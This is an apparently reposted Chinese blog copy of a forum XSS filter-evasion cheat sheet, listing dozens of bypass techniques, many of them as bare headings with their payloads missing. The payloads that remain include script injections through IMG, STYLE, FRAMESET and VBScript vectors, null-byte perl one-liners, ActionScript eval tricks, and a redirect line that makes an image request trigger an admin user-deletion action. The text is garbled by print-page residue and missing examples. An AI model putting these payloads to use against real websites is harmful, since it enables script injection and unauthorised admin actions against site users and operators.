XSS攻击简介

川长思鸟来 2024-03-31 17:15 82阅读 0赞

### 普通的XSS JavaScript注入 ###

### IMG标签XSS使用JavaScript命令 ###

### IMG标签无分号无引号 ###

### IMG标签大小写不敏感 ###

### HTML编码(必须有分号) ###

### 修正缺陷IMG标签 ###

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

### formCharCode标签(计算器) ###

### UTF-8的Unicode编码(计算器) ###

### 7位的UTF-8的Unicode编码是没有分号的(计算器) ###

### 十六进制编码也是没有分号(计算器) ###

### 嵌入式标签,将Javascript分开 ###

### 嵌入式编码标签,将Javascript分开 ###

### 嵌入式换行符 ###

### 嵌入式回车 ###

### 嵌入式多行注入JavaScript,这是XSS极端的例子 ###

### 解决限制字符(要求同页面) ###

### 空字符12-7-1 T00LS - Powered by Discuz! Board ###

https://www.t00ls.net/viewthread.php?action=printable&tid=15267 2/6
    perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

### 空字符2,空字符在国内基本没效果.因为没有地方可以利用 ###

perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

### Spaces和meta前的IMG标签 ###

### Non-alpha-non-digit XSS ###

### Non-alpha-non-digit XSS to 2 ###

### Non-alpha-non-digit XSS to 3 ###

### 双开括号 ###

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

### 无结束脚本标记(仅火狐等浏览器) ###

### 无结束脚本标记2 ###

### 半开的HTML/JavaScript XSS ###

<IMG SRC=”javascript:alert(‘XSS’)”

### 双开角括号 ###

### 无单引号 双引号 分号 ###

<SCRIPT>a=/XSS/
    alert(a.source)</SCRIPT>

### 换码过滤的JavaScript ###

\”;alert(‘XSS’);//

### 结束Title标签 ###

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

### Input Image ###

### BODY Image ###

### BODY标签 ###

<BODY(‘XSS’)>

### IMG Dynsrc ###

### IMG Lowsrc ###

### BGSOUND ###

### STYLE sheet ###

### 远程样式表 ###

### List-style-image(列表式) ###

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

### IMG VBscript ###

<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

### META链接url ###

### Iframe ###

### Frame ###

<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
    https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6

### Table ###

### TD ###

### DIV background-image ###

### DIV background-image后加上额外字符 ###

### DIV expression ###

### STYLE属性分拆表达 ###

### 匿名STYLE(组成:开角号和一个字母开头) ###

### STYLE background-image ###

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
    CLASS=XSS></A>

### IMG STYLE方式 ###

exppression(alert(“XSS”))’>

### STYLE background ###

<STYLE><STYLE
    type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

### BASE ###

### EMBED标签,你可以嵌入FLASH,其中包涵XSS ###

### 在flash中使用ActionScrpt可以混进你XSS的代码 ###

a=”get”;
    b=”URL(\”";
    c=”javascript:”;
    d=”alert(‘XSS’);\”)”;
    eval_r(a+b+c+d);

### XML namespace.HTC文件必须和你的XSS载体在一台服务器上 ###

### 如果过滤了你的JS你可以在图片里添加JS代码来利用 ###

### IMG嵌入式命令,可执行任意命令 ###

### IMG嵌入式命令(a.jpg在同服务器) ###

Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

### 绕符号过滤 ###

### URL绕行 ###

### URL编码 ###

### IP十进制 ###

### IP十六进制 ###

### IP八进制 ###

### 混合编码 ###

### 节省\[http:\] ###

### 节省\[www\] ###

### 绝对点绝对DNS ###

### javascript链接 ###

XSS攻击简介

发表评论取消回复

还没有评论，来说两句吧...

相关阅读

相关 XSS攻击简介

相关防止Xss攻击

相关 XSS攻击、CSRF攻击简介

相关 XSS攻击防护

相关解决XSS攻击

相关 XSS攻击

相关 XSS攻击 XSS攻击解决的方法

相关 XSS简介

相关 Stored XSS攻击

相关 XSS攻击